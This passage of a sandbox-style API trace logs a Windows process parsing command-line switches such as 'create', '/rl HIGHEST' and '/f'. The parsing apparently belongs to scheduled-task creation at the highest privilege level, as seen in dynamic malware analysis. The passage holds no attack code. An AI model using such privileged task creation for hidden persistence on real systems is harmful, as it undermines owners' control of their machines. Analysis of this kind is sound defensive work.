(lpString="ri") returned 2 [0163.665] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.665] lstrlenW (lpString="rl") returned 2 [0163.665] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.665] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ri|") returned 4 [0163.665] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.665] lstrlenW (lpString="|ri|") returned 4 [0163.665] lstrlenW (lpString="|rl|") returned 4 [0163.665] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0163.665] RtlRestoreLastWin32Error () returned 0x490 [0163.665] lstrlenW (lpString="z") returned 1 [0163.665] lstrlenW (lpString="z") returned 1 [0163.665] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.665] lstrlenW (lpString="rl") returned 2 [0163.665] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.665] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|z|") returned 3 [0163.665] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.665] lstrlenW (lpString="|z|") returned 3 [0163.665] lstrlenW (lpString="|rl|") returned 4 [0163.665] RtlRestoreLastWin32Error () returned 0x490 [0163.665] lstrlenW (lpString="f") returned 1 [0163.665] lstrlenW (lpString="f") returned 1 [0163.665] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.665] lstrlenW (lpString="rl") returned 2 [0163.665] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.665] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.665] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.666] lstrlenW (lpString="|f|") returned 3 [0163.666] lstrlenW (lpString="|rl|") returned 4 [0163.666] RtlRestoreLastWin32Error () returned 0x490 [0163.666] lstrlenW (lpString="v1") returned 2 [0163.666] lstrlenW (lpString="v1") returned 2 [0163.666] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.666] lstrlenW (lpString="rl") returned 2 [0163.666] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.666] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|v1|") returned 4 [0163.666] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.666] lstrlenW (lpString="|v1|") returned 4 [0163.666] lstrlenW (lpString="|rl|") returned 4 [0163.666] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0163.666] RtlRestoreLastWin32Error () returned 0x490 [0163.666] lstrlenW (lpString="xml") returned 3 [0163.666] lstrlenW (lpString="xml") returned 3 [0163.666] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.666] lstrlenW (lpString="rl") returned 2 [0163.666] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.666] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|xml|") returned 5 [0163.666] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.666] lstrlenW (lpString="|xml|") returned 5 [0163.666] lstrlenW (lpString="|rl|") returned 4 [0163.666] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0163.666] RtlRestoreLastWin32Error () returned 0x490 [0163.666] lstrlenW (lpString="ec") returned 2 [0163.666] lstrlenW (lpString="ec") returned 2 [0163.666] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.666] lstrlenW (lpString="rl") returned 2 [0163.667] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.667] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ec|") returned 4 [0163.667] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.667] lstrlenW (lpString="|ec|") returned 4 [0163.667] lstrlenW (lpString="|rl|") returned 4 [0163.667] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0163.667] RtlRestoreLastWin32Error () returned 0x490 [0163.667] lstrlenW (lpString="rl") returned 2 [0163.667] lstrlenW (lpString="rl") returned 2 [0163.667] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.667] lstrlenW (lpString="rl") returned 2 [0163.667] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.667] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.667] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rl|") returned 4 [0163.667] lstrlenW (lpString="|rl|") returned 4 [0163.667] lstrlenW (lpString="|rl|") returned 4 [0163.667] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0163.667] RtlRestoreLastWin32Error () returned 0x0 [0163.667] RtlRestoreLastWin32Error () returned 0x0 [0163.667] lstrlenW (lpString="HIGHEST") returned 7 [0163.667] lstrlenW (lpString="-/") returned 2 [0163.667] StrChrIW (lpStart="-/", wMatch=0x47f0048) returned 0x0 [0163.667] RtlRestoreLastWin32Error () returned 0x490 [0163.667] RtlRestoreLastWin32Error () returned 0x490 [0163.667] RtlRestoreLastWin32Error () returned 0x0 [0163.667] lstrlenW (lpString="HIGHEST") returned 7 [0163.667] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0163.667] RtlRestoreLastWin32Error () returned 0x490 [0163.668] RtlRestoreLastWin32Error () returned 0x0 [0163.668] _memicmp (_Buf1=0x42eab40, _Buf2=0x232708, _Size=0x7) returned 0 [0163.668] lstrlenW (lpString="HIGHEST") returned 7 [0163.668] lstrlenW (lpString="HIGHEST") returned 7 [0163.668] lstrlenW (lpString=" \x09") returned 2 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0163.668] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0163.668] GetLastError () returned 0x0 [0163.668] lstrlenW (lpString="HIGHEST") returned 7 [0163.668] lstrlenW (lpString="HIGHEST") returned 7 [0163.668] RtlRestoreLastWin32Error () returned 0x0 [0163.668] RtlRestoreLastWin32Error () returned 0x0 [0163.668] lstrlenW (lpString="/f") returned 2 [0163.668] lstrlenW (lpString="-/") returned 2 [0163.668] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.668] lstrlenW (lpString="create") returned 6 [0163.668] lstrlenW (lpString="create") returned 6 [0163.668] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.668] lstrlenW (lpString="f") returned 1 [0163.668] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.668] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|create|") returned 8 [0163.668] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.669] lstrlenW (lpString="|create|") returned 8 [0163.669] lstrlenW (lpString="|f|") returned 3 [0163.669] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0163.669] RtlRestoreLastWin32Error () returned 0x490 [0163.669] lstrlenW (lpString="?") returned 1 [0163.669] lstrlenW (lpString="?") returned 1 [0163.669] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.669] lstrlenW (lpString="f") returned 1 [0163.669] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.669] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|?|") returned 3 [0163.669] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.669] lstrlenW (lpString="|?|") returned 3 [0163.669] lstrlenW (lpString="|f|") returned 3 [0163.669] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0163.669] RtlRestoreLastWin32Error () returned 0x490 [0163.669] lstrlenW (lpString="s") returned 1 [0163.669] lstrlenW (lpString="s") returned 1 [0163.669] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.669] lstrlenW (lpString="f") returned 1 [0163.669] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.669] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|s|") returned 3 [0163.669] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.669] lstrlenW (lpString="|s|") returned 3 [0163.669] lstrlenW (lpString="|f|") returned 3 [0163.669] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0163.669] RtlRestoreLastWin32Error () returned 0x490 [0163.669] lstrlenW (lpString="u") returned 1 [0163.670] lstrlenW (lpString="u") returned 1 [0163.670] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.670] lstrlenW (lpString="f") returned 1 [0163.670] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.670] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|u|") returned 3 [0163.670] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.670] lstrlenW (lpString="|u|") returned 3 [0163.670] lstrlenW (lpString="|f|") returned 3 [0163.670] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0163.670] RtlRestoreLastWin32Error () returned 0x490 [0163.670] lstrlenW (lpString="p") returned 1 [0163.670] lstrlenW (lpString="p") returned 1 [0163.670] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.670] lstrlenW (lpString="f") returned 1 [0163.670] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.670] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|p|") returned 3 [0163.670] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.670] lstrlenW (lpString="|p|") returned 3 [0163.670] lstrlenW (lpString="|f|") returned 3 [0163.670] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0163.670] RtlRestoreLastWin32Error () returned 0x490 [0163.670] lstrlenW (lpString="ru") returned 2 [0163.670] lstrlenW (lpString="ru") returned 2 [0163.670] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.670] lstrlenW (lpString="f") returned 1 [0163.670] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.670] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ru|") returned 4 [0163.670] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.671] lstrlenW (lpString="|ru|") returned 4 [0163.671] lstrlenW (lpString="|f|") returned 3 [0163.671] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0163.671] RtlRestoreLastWin32Error () returned 0x490 [0163.671] lstrlenW (lpString="rp") returned 2 [0163.671] lstrlenW (lpString="rp") returned 2 [0163.671] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.671] lstrlenW (lpString="f") returned 1 [0163.671] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.671] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|rp|") returned 4 [0163.671] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.671] lstrlenW (lpString="|rp|") returned 4 [0163.671] lstrlenW (lpString="|f|") returned 3 [0163.671] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0163.671] RtlRestoreLastWin32Error () returned 0x490 [0163.671] lstrlenW (lpString="sc") returned 2 [0163.671] lstrlenW (lpString="sc") returned 2 [0163.671] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.671] lstrlenW (lpString="f") returned 1 [0163.671] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.671] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sc|") returned 4 [0163.671] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.671] lstrlenW (lpString="|sc|") returned 4 [0163.671] lstrlenW (lpString="|f|") returned 3 [0163.671] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0163.671] RtlRestoreLastWin32Error () returned 0x490 [0163.671] lstrlenW (lpString="mo") returned 2 [0163.671] lstrlenW (lpString="mo") returned 2 [0163.671] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.672] lstrlenW (lpString="f") returned 1 [0163.672] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.672] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|mo|") returned 4 [0163.672] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.672] lstrlenW (lpString="|mo|") returned 4 [0163.672] lstrlenW (lpString="|f|") returned 3 [0163.672] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0163.672] RtlRestoreLastWin32Error () returned 0x490 [0163.672] lstrlenW (lpString="d") returned 1 [0163.672] lstrlenW (lpString="d") returned 1 [0163.672] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.672] lstrlenW (lpString="f") returned 1 [0163.672] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.672] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|d|") returned 3 [0163.672] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.672] lstrlenW (lpString="|d|") returned 3 [0163.672] lstrlenW (lpString="|f|") returned 3 [0163.672] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0163.672] RtlRestoreLastWin32Error () returned 0x490 [0163.672] lstrlenW (lpString="m") returned 1 [0163.672] lstrlenW (lpString="m") returned 1 [0163.672] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.672] lstrlenW (lpString="f") returned 1 [0163.673] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.673] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|m|") returned 3 [0163.673] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.673] lstrlenW (lpString="|m|") returned 3 [0163.673] lstrlenW (lpString="|f|") returned 3 [0163.673] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0163.673] RtlRestoreLastWin32Error () returned 0x490 [0163.673] lstrlenW (lpString="i") returned 1 [0163.673] lstrlenW (lpString="i") returned 1 [0163.673] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.673] lstrlenW (lpString="f") returned 1 [0163.673] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.673] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|i|") returned 3 [0163.673] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.673] lstrlenW (lpString="|i|") returned 3 [0163.673] lstrlenW (lpString="|f|") returned 3 [0163.673] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0163.673] RtlRestoreLastWin32Error () returned 0x490 [0163.673] lstrlenW (lpString="tn") returned 2 [0163.673] lstrlenW (lpString="tn") returned 2 [0163.673] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.673] lstrlenW (lpString="f") returned 1 [0163.673] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.673] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tn|") returned 4 [0163.673] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.673] lstrlenW (lpString="|tn|") returned 4 [0163.673] lstrlenW (lpString="|f|") returned 3 [0163.673] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0163.673] RtlRestoreLastWin32Error () returned 0x490 [0163.674] lstrlenW (lpString="tr") returned 2 [0163.674] lstrlenW (lpString="tr") returned 2 [0163.674] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.674] lstrlenW (lpString="f") returned 1 [0163.674] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.674] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|tr|") returned 4 [0163.674] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.674] lstrlenW (lpString="|tr|") returned 4 [0163.674] lstrlenW (lpString="|f|") returned 3 [0163.674] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0163.674] RtlRestoreLastWin32Error () returned 0x490 [0163.674] lstrlenW (lpString="st") returned 2 [0163.674] lstrlenW (lpString="st") returned 2 [0163.674] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.674] lstrlenW (lpString="f") returned 1 [0163.674] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.674] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|st|") returned 4 [0163.674] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.674] lstrlenW (lpString="|st|") returned 4 [0163.674] lstrlenW (lpString="|f|") returned 3 [0163.674] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0163.674] RtlRestoreLastWin32Error () returned 0x490 [0163.674] lstrlenW (lpString="sd") returned 2 [0163.674] lstrlenW (lpString="sd") returned 2 [0163.674] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.674] lstrlenW (lpString="f") returned 1 [0163.674] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.674] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|sd|") returned 4 [0163.674] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.675] lstrlenW (lpString="|sd|") returned 4 [0163.675] lstrlenW (lpString="|f|") returned 3 [0163.675] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0163.675] RtlRestoreLastWin32Error () returned 0x490 [0163.675] lstrlenW (lpString="ed") returned 2 [0163.675] lstrlenW (lpString="ed") returned 2 [0163.675] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.675] lstrlenW (lpString="f") returned 1 [0163.675] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.675] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ed|") returned 4 [0163.675] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.675] lstrlenW (lpString="|ed|") returned 4 [0163.675] lstrlenW (lpString="|f|") returned 3 [0163.675] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0163.675] RtlRestoreLastWin32Error () returned 0x490 [0163.675] lstrlenW (lpString="it") returned 2 [0163.675] lstrlenW (lpString="it") returned 2 [0163.675] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.675] lstrlenW (lpString="f") returned 1 [0163.675] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.675] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|it|") returned 4 [0163.675] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.675] lstrlenW (lpString="|it|") returned 4 [0163.675] lstrlenW (lpString="|f|") returned 3 [0163.675] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0163.675] RtlRestoreLastWin32Error () returned 0x490 [0163.675] lstrlenW (lpString="et") returned 2 [0163.675] lstrlenW (lpString="et") returned 2 [0163.675] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.676] lstrlenW (lpString="f") returned 1 [0163.676] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.676] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|et|") returned 4 [0163.676] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.676] lstrlenW (lpString="|et|") returned 4 [0163.676] lstrlenW (lpString="|f|") returned 3 [0163.676] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0163.676] RtlRestoreLastWin32Error () returned 0x490 [0163.676] lstrlenW (lpString="k") returned 1 [0163.676] lstrlenW (lpString="k") returned 1 [0163.676] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.676] lstrlenW (lpString="f") returned 1 [0163.676] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.676] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|k|") returned 3 [0163.676] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.676] lstrlenW (lpString="|k|") returned 3 [0163.676] lstrlenW (lpString="|f|") returned 3 [0163.676] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0163.676] RtlRestoreLastWin32Error () returned 0x490 [0163.676] lstrlenW (lpString="du") returned 2 [0163.676] lstrlenW (lpString="du") returned 2 [0163.676] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.676] lstrlenW (lpString="f") returned 1 [0163.676] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.676] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|du|") returned 4 [0163.676] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.676] lstrlenW (lpString="|du|") returned 4 [0163.676] lstrlenW (lpString="|f|") returned 3 [0163.677] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0163.677] RtlRestoreLastWin32Error () returned 0x490 [0163.677] lstrlenW (lpString="ri") returned 2 [0163.677] lstrlenW (lpString="ri") returned 2 [0163.677] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.677] lstrlenW (lpString="f") returned 1 [0163.677] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.677] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|ri|") returned 4 [0163.677] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.677] lstrlenW (lpString="|ri|") returned 4 [0163.677] lstrlenW (lpString="|f|") returned 3 [0163.677] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0163.677] RtlRestoreLastWin32Error () returned 0x490 [0163.677] lstrlenW (lpString="z") returned 1 [0163.677] lstrlenW (lpString="z") returned 1 [0163.677] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.677] lstrlenW (lpString="f") returned 1 [0163.677] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.677] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|z|") returned 3 [0163.677] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.677] lstrlenW (lpString="|z|") returned 3 [0163.677] lstrlenW (lpString="|f|") returned 3 [0163.677] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0163.677] RtlRestoreLastWin32Error () returned 0x490 [0163.677] lstrlenW (lpString="f") returned 1 [0163.677] lstrlenW (lpString="f") returned 1 [0163.677] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.677] lstrlenW (lpString="f") returned 1 [0163.677] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.678] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.678] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdca60 | out: _Buffer="|f|") returned 3 [0163.678] lstrlenW (lpString="|f|") returned 3 [0163.678] lstrlenW (lpString="|f|") returned 3 [0163.678] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0163.678] RtlRestoreLastWin32Error () returned 0x0 [0163.678] 